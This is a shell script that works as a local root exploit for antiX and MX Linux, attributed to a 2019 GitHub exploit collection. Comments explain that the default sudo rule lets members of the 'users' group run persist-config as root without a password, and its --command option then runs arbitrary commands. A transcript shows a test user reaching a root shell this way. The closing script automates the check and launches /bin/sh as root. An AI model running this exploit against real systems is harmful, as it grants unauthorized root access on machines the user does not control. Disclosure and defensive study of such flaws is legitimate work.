# antiX / MX Linux default sudo configuration persist-config local root exploit
# ---
# antiX / MX Linux default `sudo` configuration permits users in the `users` group
# to execute `/usr/local/bin/persist-config` as root without providing a password,
# resulting in trivial privilege escalation.
#
# Execution via `sudo` requires `users` group privileges. By default,
# the first user created on the system is a member of the `users` group.
#
# Tested on:
# - MX Linux 18.3 (x64)
# - antiX 19b3 (x86)
# - antiX 17.4.1 (x64)
#
# ---
# test@antix19-b3:~$ uname -a
# Linux antix19-b3 4.9.189-antix.1-486-smp #1 SMP Wed Aug 14 05:09:42 EDT 2019 i686 GNU/Linux
# test@antix19-b3:~$ id
# uid=1001(test) gid=1001(test) groups=1001(test),100(users)
# test@antix19-b3:~$ sudo -l
# Matching Defaults entries for test on antix19-b3:
#     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
#     !requiretty, !tty_tickets
#
# Runas and Command-specific defaults for test:
#     Defaults!/usr/local/bin/menu_manager.sh env_keep+=HOME
#
# User test may run the following commands on antix19-b3:
#     (root) NOPASSWD: /sbin/halt
#     (root) NOPASSWD: /sbin/poweroff
#     (root) NOPASSWD: /sbin/reboot
#     (root) NOPASSWD: /sbin/blkid
#     (root) NOPASSWD: /sbin/fdisk.distrib
#     (root) NOPASSWD: /usr/bin/ceni
#     (root) NOPASSWD: /usr/local/bin/persist-config
#     (root) NOPASSWD: /usr/local/bin/persist-save
#     (root) NOPASSWD: /usr/sbin/minstall
#     (root) NOPASSWD: /usr/local/bin/antixsources.sh
#     (root) NOPASSWD: /usr/local/bin/connectshares.sh
#     (root) NOPASSWD: /usr/local/bin/disconnectshares.sh
#     (root) NOPASSWD: /bin/chvt
#     (root) NOPASSWD: /usr/local/bin/menu_manager.sh
#     (root) NOPASSWD: /usr/sbin/pm-hibernate
#     (root) NOPASSWD: /usr/sbin/pm-suspend
#     (root) NOPASSWD: /usr/local/bin/update-default-desktop
# test@antix19-b3:~$ /usr/local/bin/persist-config --help
#
# Usage: persist-config [options] 
#    
#     Configure root persistence saves to run either:
#
#     1) Automatic (at shutdown/reboot, no asking)
#     2) Semi-Automatic (ask at shutdown/reboot)
#     3) Manual (you snooze, you lose)
#
#     This program should be called with the --startup option in a 
#     startup script to ensure a config file is created.  It should be called 
#     with the --shutdown option in shutdown scripts so your changes can 
#     be saved before shutting down.
#
# Standard options:
#     -c|--cli         Force command line interface
#     -b|--bright      Force console colors to bright
#     -g|--gui         Force GUI interface (usually never needed)
#     -h|--help        Show this simple help
#     -m|--mute        Force console colors to muted/dimmer
#     -n|--nocolor     Turn off console colors
#        --nolog       Turn off logging
#     -q|--quiet       Suppress extra questions and printing
#        --no-yad      Pretend yad does not exist
#     -v|--verbose     Print more
#
# persist-config specific options:
#     --startup         Create a persist-config.conf file if one is missing.
#     --shutdown        Run persist-save as directed by persist-config.conf file.
#     --command <cmd>   Run <cmd> if persist-save succeeded.
#                       If persist-save fails prompt user before running <cmd>.
#                       (implies --shutdown)
#
# Config file is located at: /etc/live/persist-config.conf
#
# Debug options:
#     --debug          Debug Pango markup sent to yad
#     --dump           Show all lower-case globals when done
#     --dump-all       Show all globals when done
# test@antix19-b3:~$ sudo /usr/local/bin/persist-config --command /usr/bin/id
# uid=0(root) gid=0(root) groups=0(root)
# test@antix19-b3:~$ sudo /usr/local/bin/persist-config --command /bin/sh
# # id
# uid=0(root) gid=0(root) groups=0(root)
# ---
# 2019-08-18 - <bcoles@gmail.com>
# https://github.com/bcoles/local-exploits/tree/master/antix-mxlinux-sudo-persist-config-lpe

if echo | /usr/bin/sudo -l | grep NOPASSWD | grep -q /usr/local/bin/persist-config; then
  /usr/bin/sudo /usr/local/bin/persist-config --command /bin/sh
else
  echo "[-] User is not permitted to execute /usr/local/bin/persist-config"
fi

